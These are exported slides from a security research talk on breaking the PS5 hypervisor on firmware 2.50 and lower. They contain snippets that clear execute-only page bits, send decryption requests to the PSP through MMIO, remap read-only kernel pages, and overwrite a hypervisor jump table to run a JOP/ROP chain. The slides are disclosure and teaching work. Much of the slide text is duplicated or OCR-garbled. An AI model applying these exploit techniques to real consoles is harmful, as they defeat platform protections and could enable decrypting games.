Byepervisor: How we broke the PS5 Hypervisor



whoami


- @SpecterDev
- Security researcher who likes low-level things
 - Kernel, FW, Virtualization
- Work on console security on the side
- Have been in the console space for ~6 years
- Co-host the <u>dayzerosec</u> podcast

Agenda

- Brief overview on PS5 security model
 - What the hypervisor does and why it matters
- State of PS5 console hacking
 - Current bypasses and techniques
 - UMTX Kernel Exploit
- Analysis of Two Hypervisor Bugs (<= 2.xx firmware)
 - The first public full HV break from software
- Future Research
 - Post-escape opportunities

Quick Notes

- Focus will be on x86 kernel & hypervisor
- Hypervisor break is for 2.50 firmwares and lower
- Code and tools will be available after the talk
 - https://github.com/PS5Dev/Byepervisor





Explained in my previous talk <u>"Next-Gen Exploitation: Exploring the PS5 Security Landscape"</u>




- Sony loves security through obscurity
- System contains hardware-enforced eXecute-Only Memory (XOM), aka XOTEXT
 - Attempting to read XOTEXT pages results in a fault
 - XOTEXT is used in userland (games, apps, libraries) and kernel
- These mitigations are enforced by the hypervisor

- Userland XOTEXT is enforced via kernel Page Table Entries (PTEs)
- Kernel write primitive can flip XOTEXT bit

```
enum pde_shift {
   PDE XOTEXT = 58,
   PDE PROTECTION KEY = 59,
   PDE EXECUTE DISABLE = 63
};
#define CLEAR PDE BIT(pde, name) (pde &= ~(1 << PDE ##name))
for (uint64 t addr = lib start addr; addr < lib end addr; addr += 0x1000) {
   pte addr = find pte(proc pmap, addr, &pte);
   CLEAR PDE BIT(pte, XOTEXT);
       kernel copyin(&pte, pte addr, sizeof(pte));
```

- Kernel XOTEXT is harder to break
- System has nested paging via AMD Secure Virtualization
 - Flipping XOTEXT bit on kernel's own PTEs has no effect
 - Permissions are enforced through Second Level Address
 Translation (SLAT)



- Integrity of kernel .text pages is also protected (not writable)
 - Write protection enforced via Control Registers
 - Hypervisor protects CRs and MSRs

Bits	Mnemonic	Description	Access type
63:32	Reserved		MBZ
31	PG	Paging	R/W
30	CD	Cache Disable	R/W
29	NW	Not Writethrough	R/W
28:19	Reserved	do not change	
18	AM	Alignment Mask	R/W
17	Reserved	do not change	
16	WP	Write Protect	R/W^1
15:6	Reserved	do not change	
5	NE	Numeric Error	R/W
4	ET	Extension Type	R
3	TS	Task Switched	R/W
2	EM	Emulation	R/W
1	MP	Monitor Coprocessor	R/W
0	PE	Protection Enabled	R/W

```
case VMEXIT CR0 SEL WRITE:
   vmcb = (struct vmcb *) vcpu->vmcb ctrl;
   // RIP must be in kernel/hv code segment
   uint64 t cur rip = vmcb->vmcb save state.RIP;
   if (cur rip < 0xFFFFFFFFD8F70000 || cur rip >= 0xFFFFFFFFD9AE0000) {
       vmcb->ctrl.event_inj = 0x2BAD000080000B0D;
       return;
   // [...] read instruction and parse register encoding into parsed reg
   uint32 t *reg = hv get reg(vcpu, parsed reg);
   -uint32 t changed bits = vmcb->vmcb save state.CR0 ^ reg[0];
   vcpu->vmcb_ctrl->event_inj = 0x2BAD000080000B0D;
       return;
```

- Increased difficulty for finding gadgets
 - Although possible, as shown later
- Reverse engineering efforts hindered significantly for most people

- Increased difficulty for finding gadgets
 - Although possible, as shown later
- Reverse engineering efforts hindered significantly for most people
 - ... until now :)

Current HV Workarounds

State of PS5 Hacking right now



HV Workarounds

- 3.xx 4.xx firmwares have public kernel exploit
 - Hypervisor is stronger on higher firmware
- Tricks were discovered over time
 - Hypervisor can't intercept everything
 - Kernel needs some autonomy
- Doesn't result in full HV break, but still useful

- Kernel can talk to hardware (PSP) directly via Memory-Mapped I/O
 - Referenced in previous talk
- Send/receive messages directly to PSP mailbox with kernel R/W
- Didn't have time to put this into practice before last talk
 - But now we can decrypt system libraries by doing this...

 By reversing the kernel from a dump flatz sent, we were able to reverse the message structure

```
struct sbl_service_request
                                       ffffffff80744060 uint64_t sceSblServiceMailbox(void* handle, void* in, void* out)
        __packed
                                       ffffffff80744074
                                                             int64_t stack_chk_guard_1 = stack_chk_guard
        int32_t cmd:
00
                                       ffffffff80744085
                                                             struct sbl_service_request req
04
        int16_t query_len;
                                       ffffffff80744085
                                                             req.cmd = 6
06
        int16_t recv_len;
                                       ffffffff80744085
                                                             req.query_len = 0x80
08
        int64_t message_id;
                                                             req.recv_len = 0x80
                                       ffffffff80744085
        uint64_t to_ret;
10
                                       ffffffff80744089
                                                             req.message_id = 0
18 };
                                       ffffffff80744091
                                                             req.to_ret = handle
                                                             int32_t rax = _sceSblServiceRequest(&req, in, out, 0)
                                       ffffffff80744099
                                       ffffffff80744099
                                       ffffffff807440a7
                                                             if (rax != 0xfffffffd && rax != 0)
                                       ffffffff807440c0
                                                                 error_printf("ERROR: %s(%d) _sceSblServiceRequ...")
                                       ffffffff807440c0
                                       ffffffff807440cc
                                                             if (stack_chk_guard == stack_chk_guard_1)
                                                                 return zx.q(rax)
                                       ffffffff807440d8
                                       ffffffff807440d8
                                       ffffffff807440d9
                                                             __stack_chk_fail()
                                       ffffffff807440d9
                                                             noreturn
```

 By reversing the kernel from a dump flatz sent, we were able to reverse the message structure

```
struct sbl_service_request
                                              ffffffff80744060 uint64_t sceSblServiceMailbox(void* handle, void* in, void* out)
           __packed
                                              ffffffff80744074
                                                                       int64_t stack_chk_guard_1 = stack_chk_guard
           int32_t cmd:
  00
                                              ffffffff80744085
                                                                       struct sbl_service_request req
           int16_t query_len;
  94
                                              ffffffff80744085
                                                                       req.cmd = 6
  06
           int16 t recy len:
                                              ffffffff80744085
                                                                       req.query len = 0x80

    Filter (9/160)

fffffff8078db40
authmgr
In, Out
                                                                                               Code, Data, Type, Variable
Dir Address
                        Function
                                                                Preview
     ffffffff8056a1e6
                       _sceSblAuthMgrSmUnload
                                                                int32_t rax = sceSblServiceMailbox(authmgr_sm_handle_1, &var_a8, &var_a8)
                       _sceSblAuthMgrSmFinalize
                                                                int32_t rbx_1 = sceSblServiceMailbox(g_authmgr_sm_handle, &var_b8, &var_b8)
     ffffffff8056a33d
     ffffffff8056a73f
                       _sceSblAuthMgrVerifvHeader
                                                                int32_t rbx = sceSblServiceMailbox((g_authmgr_sm_handle).d, &var_b8, &var_b8)
                                                                result_1 = sceSblServiceMailbox((g_authmgr_sm_handle).d, &var_b8, &var_b8)
                       _sceSblAuthMgrSmLoadSelfSegment
     ffffffff8056aaba
                       _sceSblAuthMgrSmLoadSelfBlock
                                                                rbx = sceSblServiceMailbox((q_authmqr_sm_handle).d, &var_b8, &var_b8)
     ffffffff8056afe7
     ffffffff8056b76f
                        _sceSblAuthMgrSmLoadMultipleSelfBlocks
                                                                r12 = sceSblServiceMailbox((q_authmqr_sm_handle).d, &var_b8, &var_b8)
     ffffffff8056bcda
                       _sceSblAuthMgrSmVerifyDecryptRnpsBundle
                                                                r13_1 = sceSblServiceMailbox((g_authmgr_sm_handle).d, &var_f8, &var_f8)
     ffffffff8056be0d
                       _sceSblAuthMgrSmVerifyDecryptRnpsBundle
                                                                int32_t rax_39 = sceSblServiceMailbox((g_authmgr_sm_handle).d, &var_f8, &var_f8)
```

```
uint64_t _sceSblDriverSendMsq(void* sbl_info, int32_t cmd, uint64_t mailbox_pa)
    int64_t rax
    void* rcx = *(sbl_info + 0x10)
   // *(rcx + 0x10) == MMIO base physical addr
   int32_t* sbl_mmio_reg_msg_pa_lo = 0x10568 + *(rcx + 0x10)
   int64_t rflags
   if (*(rcx + 8) == 0)
        __out_dx_oeax(sbl_mmio_reg_msg_pa_lo.w, mailbox_pa.d, rflags)
    else
        *sbl_mmio_reg_msg_pa_lo = mailbox_pa.d
    void* rcx_1 = *(sbl_info + 0x10)
   uint32_t rax_2 = (mailbox_pa u>> 0x20).d
   uint32_t* sbl_mmio_reg_msg_pa_hi = 0 \times 1056c + *(rcx_1 + 0 \times 10)
    if (*(rcx_1 + 8) == 0)
        __out_dx_oeax(sbl_mmio_reg_msg_pa_hi.w, rax_2, rflags)
    else
        *sbl_mmio_reg_msg_pa_hi = rax_2
    void* rax_3 = *(sbl_info + 0x10)
    int32_t rsi = cmd << 8
   int32_t* sbl_mmio_req_msq_cmd_status = 0x10564 + *(rax_3 + 0x10)
   if (*(rax_3 + 8) == 0)
        __out_dx_oeax(sbl_mmio_req_msq_cmd_status.w, rsi, rflags)
    else
        *sbl_mmio_reg_msg_cmd_status = rsi
```

- 1: Send decrypt requests directly to the PSP through MMIO
- 2: Profit

```
---- SBL response msg -----
06 00 00 00 80 00 80 00 BF 41 41 00 00 00 00 00
                                       ........AA....
00 00 54 06 00 00 00 00 00 05 06 00 00 00 00
00 00 55 06 00 00 00 00 00 00 00 00 00 00 00 00
                                       ..U..........
00 00 00 00 00 00 00 00 B7 00 00 00 00 00 00 00
B1 4E FD 01 19 EA E6 2E 56 3E 00 93 36 8C 44 28
                                       .N.....V>..6.D(
69 20 5A 17 D4 06 F0 4D A0 16 AC E0 90 48 28 6A
                                      i Z....M.....H(i
00 00 00 00 00 00 00
[+] segment data:
hex:
9E 00 84 C0 75 02 31 DB 48 89 D8 48 83 C4 08 5B
                                       ....u.1.H..H...[
                                       1.......
55 48 89 E5 53 50 48 8D 3D 5F EE DA 03 E8 5E 7E
                                      UH..SPH.= ....^~
9E 00 48 85 C0 74 1F 48 89 C3 48 8B 00 48 89 DF
                                      ..H..t.H..H..H..
FF 50 50 48 8D 35 E6 FC DA 03 48 89 C7 E8 AE 4C
                                       .PPH.5....H....L
9E 00 84 C0 75 02 31 DB 48 89 D8 48 83 C4 08 5B
                                       ....u.1.H..H...[
```


- Could be used to decrypt games
 - Partially breaking Sony's security goals
- I used this to decrypt system libraries
- Great for poking around
 - Can easily be ported without kernel .text knowledge
 - Offsets are in .data and easily findable via patterns

- Some limitations
 - Making this useful for homebrew would be a lot of work
 - Would have to MITM the mailbox
 - Rewrite requests/responses
 - Doable, but painful
 - Can't decrypt the kernel or hypervisor
 - PSP seems to lock out decryption after boot


HV Workarounds (IDT Hijack)

- Another method can be used to "hook" kernel functions
 - Without patching .text pages
- Sleirsgoevy used Interrupt Descriptor Table (IDT) hijacking for this
 - Set up IDT handlers and point the Interrupt Stack (IST) to a ROP chain
 - "Poison" upper 16-bits of a pointer to make it non-canonical
 - Write custom page fault handler to run code you want

State of PS5 Hacking - HV Workarounds (IDT Hijack)



State of PS5 Hacking - HV Workarounds (IDT Hijack)



State of PS5 Hacking - HV Workarounds (IDT Hijack)

- Allows PS4 homebrew to run on the PS5
- Allows limited debugging and introspection
 - Find some kernel gadgets
 - r0qdb
- Limitations
 - Can massively slow down system performance
 - Requires bruteforcing gadgets
 - Still doesn't defeat XOM to allow kernel reversing

State of PS5 Hacking - Lower Firmwares

- Thanks to a disclosure of a vulnerability in User Mutexes (UMTX),
 1.xx 7.xx are now exploitable
 - Exploit code by fail0verflow and flatz allowed rapid exploitation of the bug
 - Without them I wouldn't have been able to do this talk:)
- Opens up lower firmwares to test theoretical bugs we had
 - And stumble on a new one that's a particularly big fail

Breaking 2.xx Hypervisor (#1)

Bug #1 - Unprotected Jump Tables



- The hypervisor went through an interesting dev process
- Earlier versions had the hypervisor embedded in-kernel



- 2.xx and lower, the HV is embedded in the kernel
 - This is a big red flag
- Isolating hypervisor data is hard with this design

- 2.xx and lower, the HV is embedded in the kernel
 - This is a big red flag
- Isolating hypervisor data is hard with this design
- They tried...?

- The hypervisor has its own reserved data region unmapped from the guest kernel

ffffffffcbea0013 hv_init_pagetables

- Page tables
- VM control blocks
- MSR protection map
- Etc.

```
ffffffffcbea1cb4
                                      int64 t num 1 = sx.a(num)
              ffffffffcbea1d0d
                                      int64 t result
              ffffffffcbea1d0d
                                     bool i
              ffffffffcbea1d0d
              ffffffffcbea1d0d
              ffffffffcbea1cd0
                                          int64_t hv_alloc_cur_1 = q_hv_alloc_cur
              ffffffffcbea1ce1
                                          result = (hv_alloc_cur_1 + 0xfff) & 0xffffffffffff000
              ffffffffcbea1ce1
              ffffffffcbea1cf9
                                          if ((&q_hv_data_start - result + 0x100b000) s>> 0xc s< num_1)
> Filter (17)
Dir * Address
     ffffffffcbe9f169 hy iommu init hy hw
                                                int64_t rax_6 = hv_alloc_pages(rbx_4.d)
     ffffffffcbe9f1e9 hv_iommu_init_hv_hw
                                                int64_t rax_15 = hv_alloc_pages(1)
                                                int32_t* rax_17 = hv_alloc_pages(1)
    ffffffffcbe9f221 hy iommu init hy hw
     ffffffffcbe9f640 hv_iommu_init_hv_hw
                                                rax_71, r8, r9 = hv_alloc_pages(1)
    ffffffffcbe9f77e hv_iommu_init_hv_hw
                                                int64_t* rax_87 = hv_alloc_pages(1)
    ffffffffcbe9f798 hv_iommu_init_hv_hw
                                                int64_t* rax_88 = hv_alloc_pages(1)
                                                int64_t* rax_93 = hv_alloc_pages(1)
    ffffffffcbe9f82e hv_iommu_init_hv_hw
    ffffffffcbe9f8db hv_iommu_init_hv_hw
                                                int64_t* rax_96 = hv_alloc_pages(1)
    ffffffffcbe9f9ba hv_iommu_init_hv_hw
                                                rax_100, r8, r9 = hv_alloc_pages(2)
    ffffffffcbe9f9e1 hv_iommu_init_hv_hw
                                                int32_t* rax_101 = hv_alloc_pages(0x200)
    ffffffffcbe9fa6a hv_iommu_init_hv_hw
                                                rax_102, r8, r9 = hv_alloc_pages(4)
    ffffffffcbe9ff04 hv_init_pagetables
                                                int64_t rax_4 = hv_alloc_pages(1)
```

int64_t* rax_17 = hv_alloc_pages(1)

- The hypervisor has its own reserved data region unmapped from the guest kernel
 - Page tables
 - VM control blocks
 - MSR protection map
 - Etc.
- But code/static data...

```
ffffffffcbea1cb0 int64_t hv_alloc_pages(int32_t num)
              ffffffffcbea1cb4
                                      int64 t num 1 = sx.a(num)
              ffffffffcbea1d0d
                                      int64 t result
              ffffffffcbea1d0d
                                     bool i
               ffffffffcbea1d0d
               ffffffffcbea1d0d
              ffffffffcbea1cd0
                                          int64_t hv_alloc_cur_1 = q_hv_alloc_cur
              ffffffffcbea1ce1
                                          result = (hv_alloc_cur_1 + 0xfff) & 0xffffffffffff000
              ffffffffcbea1ce1
              ffffffffcbea1cf9
                                          if ((&q_hv_data_start - result + 0x100b000) s>> 0xc s< num_1)
> Filter (17)
Dir * Address
     ffffffffcbe9f169 hy iommu init hy hw
                                                int64_t rax_6 = hv_alloc_pages(rbx_4.d)
     ffffffffcbe9f1e9 hv_iommu_init_hv_hw
                                                int64_t rax_15 = hv_alloc_pages(1)
                                                int32_t* rax_17 = hv_alloc_pages(1)
    ffffffffcbe9f221 hy iommu init hy hw
     ffffffffcbe9f640
                     hv_iommu_init_hv_hw
                                                rax_71, r8, r9 = hv_alloc_pages(1)
    ffffffffcbe9f77e hv_iommu_init_hv_hw
                                                int64_t* rax_87 = hv_alloc_pages(1)
    ffffffffcbe9f798 hv_iommu_init_hv_hw
                                                int64_t* rax_88 = hv_alloc_pages(1)
                                                int64_t* rax_93 = hv_alloc_pages(1)
    ffffffffcbe9f82e hv_iommu_init_hv_hw
    ffffffffcbe9f8db hv_iommu_init_hv_hw
                                                int64_t* rax_96 = hv_alloc_pages(1)
    ffffffffcbe9f9ba hv_iommu_init_hv_hw
                                                rax_100, r8, r9 = hv_alloc_pages(2)
    ffffffffcbe9f9e1 hv_iommu_init_hv_hw
                                                int32_t* rax_101 = hv_alloc_pages(0x200)
    ffffffffcbe9fa6a hv_iommu_init_hv_hw
                                                rax_102, r8, r9 = hv_alloc_pages(4)
    ffffffffcbe9ff04 hv_init_pagetables
                                                int64_t rax_4 = hv_alloc_pages(1)
     ffffffffcbea0013 hv_init_pagetables
                                                int64_t* rax_17 = hv_alloc_pages(1)
```

Breaking the HV - Bug 1: Unprotected Jump Tables

- Jump tables used by hypervisor code *is* mapped in guest page tables
- Two jump tables are used in the vmexit handler

```
uint32_t jump_table_fffffffffcd81bee0[0x2a
hv_vmexit_handler:
   0 @ fffffffffcbea04d0 push(rbp)
                                                                          [0x00] = 0xfe68463c
   1 @ ffffffffcbea04d1 rbp = rsp {__saved_rbp}
  2 @ fffffffffcbea04d4 push(r15)
                                                                          [0x01] = 0xfe68473b
  3 @ fffffffffcbea04d6 push(r14)
                                                                          [0x02] = 0xfe68473b
  4 @ fffffffffcbea04d8 push(r13)
                                                                          [0x03] = 0xfe68473b
                      push(r12)
                                                                          [0x04] = 0xfe68473b
  7 @ ffffffffcbea04dd rsp = rsp - 0x58
                                                                          [0x05] = 0xfe68473b
  8 @ ffffffffcbea04e1 r15 = &__stack_chk_quard
                                                                          [0x06] = 0xfe68473b
  9 @ fffffffffcbea04e8 r14 = rdi
      ffffffffcbea04eb rax = [r15 {&__stack_chk_quard}].q
                                                                          [0x07] = 0xfe68473b
  11 @ ffffffffcbea04ee [rbp - 0x30 {var_38}].g = rax
                                                                          [0x08] = 0xfe68473b
  12 @ fffffffffcbea04f2 rax = [rdi + 8].q
                                                                          [0x09] = 0xfe68473b
                      [rax + 0x5c].b = 0
  14 @ fffffffffcbea04fa rcx = [rax + 0x70].g
                                                                          [0x0a] = 0xfe68473b
  15 @ ffffffffcbea04fe rdx = rcx - 0x65
  16 @ ffffffffcbea0506 if (rdx u> 0x29) then 17 @ 0xffffffffcbea05ee else 18 @ 0xffffffffcbea050c
    18 @ ffffffffcbea050c rcx = &iump_table_ffffffffcd81bee0
    19 @ ffffffffcbea0513 rdx = sx.q([rcx + (rdx << 2)].d)
    20 @ ffffffffcbea0517 rdx = rdx + rcx
    21 @ ffffffffcbea051a jump(rdx => 35 @ 0xfffffffffcbea051c, 22 @ 0xffffffffcbea061b, 38 @ 0xffffff
```

Breaking the HV - Bug 1: Unprotected Jump Tables

- Jump tables used by hypervisor code *is* mapped in guest page tables
- Two jump tables are used in the vmexit handler

```
uint32_t jump_table_fff fffcd81bee0[0x2a
hv_vmexit_handler:
   0 @ fffffffffcbea04d0 push(rbp)
      ffffffffcbea04d1 rbp = rsp {__saved_rbp}
                                                                            [0x00] = 0xfe684
  2 @ fffffffffcbea04d4 push(r15)
                                                                                   = 0xfe68
  3 @ fffffffffcbea04d6 push(r14)
                                                                                   = 0xfe6
   4 @ fffffffffcbea04d8 push(r13)
                                                                                   = 0xfe6
  5 @ fffffffffcbea04da push(r12)
                                                                                       0xfe6
  7 @ ffffffffcbea04dd rsp = rsp - 0x58
                                                                                        0xfe
  8 @ ffffffffcbea04e1 r15 = &__stack_chk_quard
                                                                            [avas] =
  9 @ fffffffffcbea04e8 r14 = rdi
      ffffffffcbea04eb rax = [r15 {&__stack_chk_quard}].q
  11 @ ffffffffcbea04ee [rbp - 0x30 {var_38}].g = rax
  12 @ fffffffffcbea04f2 rax = [rdi + 8].q
                                                                            [0x09]
  13 @ fffffffffcbea04f6 [rax + 0x5c].b = 0
  14 @ fffffffffcbea04fa rcx = [rax + 0x70].g
                                                                            0x0a
  15 @ fffffffffcbea04fe rdx = rcx - 0x65
  16 @ ffffffffcbea0506 if (rdx u> 0x29) then 17 @ 0xffffffffcbea05ee else 18 @ 0xffffff
    18 @ ffffffffcbea050c rcx = &iump_table_ffffffffcd81bee0
    19 @ ffffffffcbea0513 rdx = sx.q([rcx + (rdx << 2)].d)
    20 @ ffffffffcbea0517 rdx = rdx + rcx
    21 @ fffffffcbea051a jump(rdx => 35 @ 0xffffffffcbea051c, 22 @ 0xffffffffcbea
```

Breaking the HV - Bug 1: Unprotected Jump Tables

- These jump tables are in read-only pages...

- These jump tables are in read-only pages...
- But we can gain access via a technique I call mirroring
 - Request R/W mapping via mmap(), change PTE address

```
// Get process pmap
pmap = get proc pmap();
if (pmap == 0) {
   SOCK_LOG("[!] failed to mirror 0x%1x due to failure to find proc\n", kernel va);
// Map a user page
user mirror = mmap(0, 0x4000, PROT READ | PROT WRITE, MAP ANONYMOUS | MAP PRIVATE | MAP PREFAULT READ, -1, 0);
if (user mirror == MAP FAILED) -
   SOCK LOG("[!] failed to mirror 0x%lx due to mmap failure (%s)\n", kernel va, strerror(errno));
    return NULL;
pte addr = find pte(pmap, user mirror, &pte);
SET PDE ADDR(pte, kernel pa);
   kernel copyin(&pte, pte addr, sizeof(pte));
```

- Overwrite the jump table offset for some entry
 - We get code execution in the hypervisor!
- Exploiting this is challenging however...

- Overwrite the jump table offset for some entry
 - We get code execution in the hypervisor!
- Exploiting this is challenging however...
 - Shellcode to victory?

- Overwrite the jump table offset for some entry
 - We get code execution in the hypervisor!
- Exploiting this is challenging however...
 - Shellcode to victory?
 - Hypervisor page tables only have kernel text mapped as executable, which we can't write to

- Overwrite the jump table offset for some entry
 - We get code execution in the hypervisor!
- Exploiting this is challenging however...
 - Shellcode to victory?
 - Hypervisor page tables only have kernel text mapped as executable, which we can't write to
 - We'll have to ROP...

- At first, ROP seems difficult
 - We have almost no control over registers hypervisor uses

- At first, ROP seems difficult
 - We have almost no control over registers hypervisor uses
- But somewhat surprisingly, registers it doesn't use are preserved across VM exit boundary

- At first, ROP seems difficult
 - We have almost no control over registers hypervisor uses
- But somewhat surprisingly, registers it doesn't use are preserved across VM exit boundary
- We can setup these registers in a ROP chain

- At first, ROP seems difficult
 - We have almost no control over registers hypervisor uses
- But somewhat surprisingly, registers it doesn't use are preserved across VM exit boundary
- We can setup these registers in a ROP chain
- We'll have two ROP chains
 - One for setting up registers for hijack
 - One for hypervisor to run to break it

We hijack VMMCALL_HV_SET_CPUID_PS4's jump entry

```
FFFFFFFFCD81BEE0:
                   3C 46 68 FE 3B 47 68 FE 3B 47 68 FE 3B 47 68 FE
FFFFFFFFCD81BEF0:
                        68 FE 3B 47 68 FE
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFCD81BF00:
                  3B 47
                        68 FE 3B 47 68 FE 3B 47 68 FE 3B 47 68 FE
FFFFFFFCD81BF10:
                        68 FE 55 47 68 FE
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFFCD81BF20:
                        68 FE 3B 47 68 FE
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFCD81BF30:
                   3B 47 68 FE 3B 47 68 FE
                                           3B 47 68 FE 07 48 68 FE
FFFFFFFCD81BF40:
                  3B 47
                        68 FE 3B 47 68 FE
                                           3B 47 68 FE 3B 47 68 FE
                   24 48 68 FE 3B 47 68 FE
FFFFFFFFCD81BF50:
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFFCD81BF60:
                        68 FE 3B 47 68 FE
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFCD81BF70:
                   3B 47 68 FE 3B 47 68 FE
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFCD81BF80:
                        68 FE 2D 48 68 FE
                                           D8 47 68 FE B7 49 68 FE
FFFFFFFCD81BF90:
                        68 FE 6E 4A 68 FE
                                           F5 4A 68 FE 13 4B 68 FE
FFFFFFFCD81BFA0:
                        68 FE 1C 4D 68 FE
                                           54 4E 68 FE 9B 50 68 FE
                   31 4B
FFFFFFFCD81BFB0:
                   38 52 68 FE BC 52 68 FE
                                           8B 53 68 FE 1C 54 68 FE
```

We hijack VMMCALL_HV_SET_CPUID_PS4's jump entry

```
FFFFFFFFCD81BEE0:
                   3C 46 68 FE 3B 47 68 FE 3B 47 68 FE 3B 47 68 FE
FFFFFFFFCD81BEF0:
                        68 FE 3B 47 68 FE
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFCD81BF00:
                  3B 47
                        68 FE 3B 47 68 FE 3B 47 68 FE 3B 47 68 FE
FFFFFFFCD81BF10:
                        68 FE 55 47 68 FE
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFFCD81BF20:
                        68 FE 3B 47 68 FE
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFCD81BF30:
                   3B 47 68 FE 3B 47 68 FE
                                           3B 47 68 FE 07 48 68 FE
FFFFFFFCD81BF40:
                  3B 47 68 FE 3B 47 68 FE
                                          3B 47 68 FE 3B 47 68 FE
                  24 48 66 FE 3B 47 68 FE
FFFFFFFFCD81BF50:
                                           3B 47 68 FE 3B 47 68 FE
                   3B 47 68 FE 3B 47 68 FE
FFFFFFFFCD81BF60:
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFCD81BF70:
                   3B 47 68 FE 3B 47 68 FE
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFCD81BF80:
                        68 FE 2D 48 68 FE
                                           D8 47 68 FE B7 49 68 FE
FFFFFFFCD81BF90:
                        68 FE 6E 4A 68 FE
                                           F5 4A 68 FE 13 4B 68 FE
FFFFFFFCD81BFA0:
                        68 FE 1C 4D 68 FE
                                           54 4E 68 FE 9B 50 68 FE
                   31 4B
FFFFFFFCD81BFB0:
                   38 52 68 FE BC 52 68 FE
                                           8B 53 68 FE 1C 54 68 FE
```

We hijack VMMCALL_HV_SET_CPUID_PS4's jump entry

```
FFFFFFFFCD81BEE0:
                  3C 46 68 FE 3B 47 68 FE 3B 47 68 FE 3B 47 68 FE
FFFFFFFFCD81BEF0:
                        68 FE 3B 47 68 FE 3B 47 68 FE 3B 47 68 FE
FFFFFFFFCD81BF00:
                 3B 47
                        68 FE 3B 47 68 FE 3B 47 68 FE 3B 47 68 FE
                        68 FE 55 47 68 FE
FFFFFFFCD81BF10:
                  3B 47
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFFCD81BF20:
                  3B 47 68 FE 3B 47 68 FE 3B 47 68 FE 3B 47 68 FE
                   3B 47 68 FE 3B 47 68 FE
                                           3B 47 68 FE 07 48 68 FE
FFFFFFFFCD81BF30:
                  2R 17 68 FF 2R 17
                                    68 FE
FFFFFFFFCD81BF44.
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFFCD81BF
               Offset to JOP gadget
                                    68 FE
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFCD81BFoo.
                   2D 4/ 00 FE 2D 4 68 FE
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFCD81BF70:
                  3B 47 68 FE 3B 47 68 FE
                                           3B 47 68 FE 3B 47 68 FE
FFFFFFFCD81BF80:
                        68 FE 2D 48 68 FE
                                           D8 47 68 FE B7 49 68 FE
                  3B 47
FFFFFFFCD81BF90:
                        68 FE 6E 4A 68 FE F5 4A 68 FE 13 4B 68 FE
                  CF 49
FFFFFFFFCD81BFA0:
                  31 4B 68 FE 1C 4D 68 FE 54 4E 68 FE 9B 50 68 FE
FFFFFFFCD81BFB0:
                  38 52 68 FE BC 52 68 FE
                                           8B 53 68 FE 1C 54 68 FE
```

```
ffffffffcbea04d0 push
                          rbp {__saved_rbp}
fffffffffcbea04d1 mov
                          rbp, rsp {__saved_rbp}
fffffffffcbea04d4 push
                          r15 {__saved_r15}
fffffffffcbea04d6 push
                          r14 {__saved_r14}
ffffffffcbea04d8 push
                          r13 {__saved_r13}
                          r12 {__saved_r12}
fffffffffcbea04da push
fffffffffcbea04dc push
                          rbx {var 30}
fffffffffcbea04dd sub
                          rsp. 0x58
fffffffffcbea04e1 lea
                         r15, [rel __stack_chk_quard]
ffffffffcbea04e8 mov
                         r14. rdi
fffffffffcbea04eb mov
                          rax, qword [r15] {__stack_chk_guard}
                          gword [rbp-0x30 {var_38}], rax
fffffffffcbea04ee mov
                         rax. gword [rdi+0x8]
fffffffffcbea04f2 mov
fffffffffcbea04f6 mov
                          byte [rax+0x5c], 0x0
                          rcx, gword [rax+0x70]
fffffffffcbea04fa mov
fffffffffchea04fe lea
                          rdx. [rcx-0x65]
ffffffffcbea0502 cmp
                          rdx, 0x29
ffffffffcbea0506 ja
                          0xffffffffcbea05ea
                                          rcx, [rel jump_table_ffffffffcd81bee0]
                ffffffffcbea050c lea
                                         rdx, dword [rcx+rdx*4]
                fffffffffcbea0513 movsxd
                ffffffffcbea0517 add
```

ffffffffcbea051a imp

- Registers @ time of hijack
 - R14 = vCPU
 - [R14+8] = VMCB
 - RCX = jump table
 - RDI, RAX, RDX, R15 not (really) controlled

```
fffffffcbea0743 mov rax, qword [rax+0x5f8]
ffffffffcbea074a cmp rax, 0xd
ffffffffcbea074e ja 0xfffffffcbea070d

ffffffffcbea0750 lea rcx, [rel jump_table_fffffffcd81bf88]
ffffffffcbea0757 movsxd rax, dword [rcx+rax*4]
ffffffffcbea075b add rax, rcx
ffffffffcbea075e jmp rax
```

- To get control of registers, we use setjmp and longjmp gadgets
- Chicken and egg problem (get control of regs without regs...)

- To get control of registers, we use setjmp and longjmp gadgets
- Chicken and egg problem
- Solution: JOP chain!
 - Jump to setjmp and longjmp using the limited control we have

- To get control of registers, we use setjmp and longjmp gadgets
- Chicken and egg problem
- Solution: JOP chain!
 - Jump to setjmp and longjmp using the limited control we have
- We have control of RSI and R9 register from the guest
 - Can also control any contents in kernel data range

Hypervisor JOP chain Controlled Register RCX = jump table JOP gadget 1 setimp longimp mov [rdi+0x00], **rbx**; mov rdi, [rsi]; mov rbx, [rdi+0x00]; add rcx, r12; mov [rdi+0x08], rsp; mov rsp, [rdi+0x08]; mov [rdi+0x10], rbp; mov rbp, [rdi+0x10]; jmp rcx; mov [rdi+0x18], r12; mov r12, [rdi+0x18]; mov [rdi+0x20], r13; mov r13, [rdi+0x20]; mov [rdi+0x28], r14; mov r14, [rdi+0x28]; JOP gadget 2 mov [rdi+0x30], r15; mov r15, [rdi+0x30]; mov rdx, [rsp]; mov rdx, [rdi+0x38]; call r9; mov [rsp], rdx; ret: lea rax, [rip+0x22745bb]; mov rdi, rbx; ret: mov esi, 0x10; call [rax];

- We're executing in hypervisor context!
- Use register context to access VM Control Block (VMCB)

- We're executing in hypervisor context!
- Use register context to access VM Control Block (VMCB)
- R14 register holds vCPU object

- We're executing in hypervisor context!
- Use register context to access VM Control Block (VMCB)
- R14 register holds vCPU object
- [R14 + 8] holds VMCB pointer

VMCB contains flags that enforce hypervisor <-> guest security

- VMCB contains flags that enforce hypervisor <-> guest security
- Particularly field 0x90

